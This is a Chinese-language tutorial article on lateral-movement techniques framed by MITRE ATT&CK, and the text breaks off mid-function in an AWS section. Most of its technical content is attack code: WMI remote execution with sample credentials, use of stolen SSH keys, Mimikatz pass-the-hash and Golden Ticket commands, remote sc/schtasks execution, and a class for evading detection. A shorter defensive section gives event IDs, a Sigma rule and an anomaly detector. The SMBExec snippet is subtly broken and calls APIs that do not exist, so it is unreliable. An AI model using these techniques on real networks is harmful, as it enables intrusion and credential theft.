从ATT&CK框架看现代红队攻击中的横向移动技术
引言
在网络安全领域,MITRE ATT&CK框架已经成为攻防对抗的标准语言。作为一套全球公认的对抗行为知识库,它不仅为蓝队提供了防御视角,更为红队和渗透测试人员提供了系统化的攻击方法论。在企业网络环境中,攻击者一旦获得初始立足点,横向移动便成为扩大战果的关键技术。本文将深入探讨基于ATT&CK框架的横向移动技术,结合实战案例和代码示例,为安全从业者提供深度技术洞察。
ATT&CK框架概述
MITRE ATT&CK框架将网络攻击生命周期划分为14个战术阶段,横向移动(Lateral Movement)属于其中的关键战术之一(TA0008)。该战术包含数十种具体技术,从经典的Windows认证机制利用到云环境中的权限提升,覆盖了现代企业环境中的各种攻击场景。
横向移动的本质是攻击者在获得初始访问权限后,通过网络在系统间移动,寻找高价值目标的过程。这一过程不仅需要技术手段,更需要对企业网络架构、权限体系和防御机制的深刻理解。
横向移动的技术分类
远程服务利用
远程服务是企业网络中最常见的横向移动通道。攻击者往往利用合法的远程管理工具或服务漏洞在企业内部横向扩散。
WMIExec技术实践
Windows Management Instrumentation(WMI)是内网横向移动的利器。通过WMI,攻击者可以在远程主机上执行命令,而无需在目标机器上部署额外工具。
import wmi
def wmi_exec(ip, username, password, command):
try:
conn = wmi.WMI(computer=ip, user=username, password=password)
process_startup = conn.Win32_ProcessStartup.new()
process_startup.ShowWindow = 0
process_id, result = conn.Win32_Process.Create(
CommandLine=command,
ProcessStartupInformation=process_startup
)
if result == 0:
print(f"命令执行成功,进程ID: {process_id}")
else:
print("命令执行失败")
except Exception as e:
print(f"WMI连接失败: {str(e)}")
# 使用示例
wmi_exec("192.168.1.100", "administrator", "P@ssw0rd", "whoami")
SSH密钥利用
在Linux环境中,SSH密钥往往是横向移动的重要跳板。攻击者通过窃取的SSH私钥访问其他系统。
# 使用窃取的私钥进行SSH连接
ssh -i stolen_private_key user@target_host
# 通过SSH执行远程命令
ssh -i stolen_private_key user@target_host "cat /etc/passwd"
认证机制滥用
Windows认证机制是横向移动的核心技术领域,包括NTLM认证、Kerberos票证等攻击手法。
Pass-the-Hash攻击
PtH攻击允许攻击者使用密码哈希而非明文密码进行认证,绕过正常的认证流程。
import subprocess
def pass_the_hash(target_ip, username, ntlm_hash, command):
"""
使用Mimikatz进行Pass-the-Hash攻击
需要预先下载mimikatz并放置在合适位置
"""
mimikatz_cmd = f'sekurlsa::pth /user:{username} /domain: /ntlm:{ntlm_hash} /run:"{command}"'
process = subprocess.Popen(
['mimikatz.exe', '/command', mimikatz_cmd],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
output, error = process.communicate()
return output.decode('utf-8')
Kerberos票证攻击
Golden Ticket和Silver Ticket攻击允许攻击者伪造Kerberos认证票证,获得域内任意服务的访问权限。
# 使用Mimikatz生成Golden Ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:hash /ptt"'
# 验证票证
klist
# 访问域控共享
dir \\dc01.contoso.com\c$
网络协议滥用
企业内部的各种网络协议往往成为横向移动的通道,包括SMB、RDP、WinRM等。
SMBExec技术
通过SMB协议在远程主机上创建服务执行命令,是经典的横向移动技术。
import impacket
from impacket.dcerpc.v5 import transport, scmr
def smb_exec(ip, username, password, command):
# 建立SMB连接
smb_connection = impacket.smbconnection.SMBConnection(
ip, ip, None, 445, timeout=5
)
smb_connection.login(username, password)
# 创建服务执行命令
service_manager = scmr.SCMRConnection(smb_connection)
service_manager.open()
service_manager.createService(command)
防御视角下的横向移动检测
日志监控策略
有效的横向移动检测需要综合利用多种日志源,包括Windows事件日志、网络流量日志和终端检测日志。
关键事件ID监控
- 4624:成功登录
- 4625:失败登录
- 4672:特殊权限分配
- 4688:进程创建
- 5140:网络共享访问
Sigma检测规则示例
title: Lateral Movement via WMI
id: a87eccd6-51e3-4c6c-b255-38a2aa3dbb12
status: experimental
description: Detects WMI remote process creation
author: John Doe
date: 2023/10/15
tags:
- attack.lateral_movement
- attack.t1047
logsource:
product: windows
service: wmi
detection:
selection:
EventID: 5861
Operation: Start
ClientMachine:
- '192.168.*'
- '10.*'
- '172.16.*'
condition: selection
falsepositives:
- Legitimate administrative activity
level: high
网络流量分析
横向移动往往伴随着特定的网络模式,通过流量分析可以检测异常行为。
异常连接检测
import pandas as pd
from sklearn.ensemble import IsolationForest
def detect_anomalous_connections(network_logs):
"""
使用孤立森林算法检测异常网络连接
"""
# 特征工程
features = pd.DataFrame({
'src_ip_count': network_logs.groupby('src_ip')['dst_ip'].transform('nunique'),
'dst_ip_count': network_logs.groupby('dst_ip')['src_ip'].transform('nunique'),
'port_entropy': network_logs.groupby('src_ip')['dst_port'].transform(lambda x: x.value_counts().std())
})
# 异常检测
model = IsolationForest(contamination=0.01)
anomalies = model.fit_predict(features)
return network_logs[anomalies == -1]
高级规避技术
现代红队操作越来越注重规避检测,使用各种技术绕过安全监控。
Living off the Land
使用系统自带工具进行横向移动,减少外部工具的使用。
# 使用Windows自带工具进行横向移动
sc \\target01 create MyService binPath= "cmd.exe /c whoami"
sc \\target01 start MyService
sc \\target01 delete MyService
# 使用计划任务执行命令
schtasks /create /s target01 /tn "MyTask" /tr "cmd.exe /c whoami" /sc once /st 00:00
schtasks /run /s target01 /tn "MyTask"
schtasks /delete /s target01 /tn "MyTask" /f
时间延迟和流量伪装
通过随机延迟和流量加密规避检测。
import time
import random
from cryptography.fernet import Fernet
class StealthyLateralMovement:
def __init__(self):
self.key = Fernet.generate_key()
self.fernet = Fernet(self.key)
def execute_with_delay(self, command, min_delay=30, max_delay=300):
# 随机延迟执行
delay = random.randint(min_delay, max_delay)
time.sleep(delay)
return self.execute_command(command)
def encrypt_traffic(self, data):
return self.fernet.encrypt(data.encode())
def execute_command(self, command):
# 命令执行逻辑
pass
云环境中的横向移动
随着企业上云进程加速,云环境中的横向移动技术变得日益重要。
AWS横向移动技术
import boto3
from botocore.exceptions import ClientError
def aws_lateral_movement(instance_id, command):
ssm = boto3.client('ssm')
try:
response = ssm.send_command(
InstanceIds=[instance_id],
DocumentName="AWS-RunShellScript",
Parameters={'commands': [command]}
)
return response['Command']['CommandId']
except ClientError as e:
print(f"命令执行
> 评论区域 (0 条)_
发表评论